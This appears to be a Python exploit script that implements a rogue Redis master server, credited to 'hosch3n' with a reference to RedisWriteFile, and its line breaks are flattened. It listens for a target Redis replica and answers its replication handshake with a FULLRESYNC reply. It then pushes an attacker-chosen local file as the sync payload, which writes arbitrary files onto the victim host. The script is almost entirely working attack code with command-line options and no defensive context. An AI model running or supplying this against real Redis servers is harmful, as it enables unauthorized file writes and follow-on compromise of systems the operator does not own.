1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118
|
import socket from time import sleep from optparse import OptionParser
CLRF = "\r\n"
""" Author: hosch3n Reference: https://github.com/r35tart/RedisWriteFile/ """
def decode_cmd(cmd): if cmd.startswith("*"): raw_arr = cmd.strip().split("\r\n") return raw_arr[2::2] if cmd.startswith("$"): return cmd.split("\r\n", 2)[1] return cmd.strip().split(" ")
def info(msg): print("\033[1;32;40m[info]\033[0m {}".format(msg))
def din(sock, cnt=4096): global verbose msg = sock.recv(cnt) if verbose: if len(msg) < 1000: print("\033[1;34;40m[->]\033[0m {}".format(msg)) else: print("\033[1;34;40m[->]\033[0m {}......{}".format(msg[:80], msg[-80:])) return msg.decode('gb18030')
def dout(sock, msg): global verbose if type(msg) != bytes: msg = msg.encode() sock.send(msg) if verbose: if len(msg) < 1000: print("\033[1;33;40m[<-]\033[0m {}".format(msg)) else: print("\033[1;33;40m[<-]\033[0m {}......{}".format(msg[:80], msg[-80:]))
class RogueServer: def __init__(self, lhost, lport): self._host = lhost self._port = lport self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self._sock.bind(('0.0.0.0', self._port)) self._sock.listen(10)
def close(self): self._sock.close()
def handle(self, data): cmd_arr = decode_cmd(data) resp = "" phase = 0 if cmd_arr[0].startswith("PING"): resp = "+PONG" + CLRF phase = 1 elif cmd_arr[0].startswith("REPLCONF"): resp = "+OK" + CLRF phase = 2 elif cmd_arr[0].startswith("PSYNC") or cmd_arr[0].startswith("SYNC"): resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF resp += "$" + str(len(payload)) + CLRF resp = resp.encode() resp += payload + CLRF.encode() phase = 3 return resp, phase
def exp(self): cli, addr = self._sock.accept() while True: data = din(cli, 1024) if len(data) == 0: break resp, phase = self.handle(data) dout(cli, resp) if phase == 3: break
def runserver(lhost, lport): try: rogue = RogueServer(lhost, lport) rogue.exp() sleep(3) rogue.close() except Exception as e: print("\033[1;31;m[-]\033[0m 发生错误! : {} \n[*] Exit..".format(e))
if __name__ == '__main__': parser = OptionParser() parser.add_option("--lhost", dest="lh", type="string", help="rogue server ip", metavar="LOCAL_HOST") parser.add_option("--lport", dest="lp", type="int", help="rogue server listen port, default 6379", default=6379, metavar="LOCAL_PORT") parser.add_option("--lfile", dest="lfile", type="string", help="Local file that needs to be written", metavar="Local_File_Name", default='dump.rdb') parser.add_option("-v", "--verbose", action="store_true", default=False, help="Show full data stream")
(options, args) = parser.parse_args() global verbose, payload, filename localfile = options.lfile verbose = options.verbose payload = open(localfile, "rb").read()
try: runserver(options.lh, options.lp) except Exception as e: info(repr(e))
|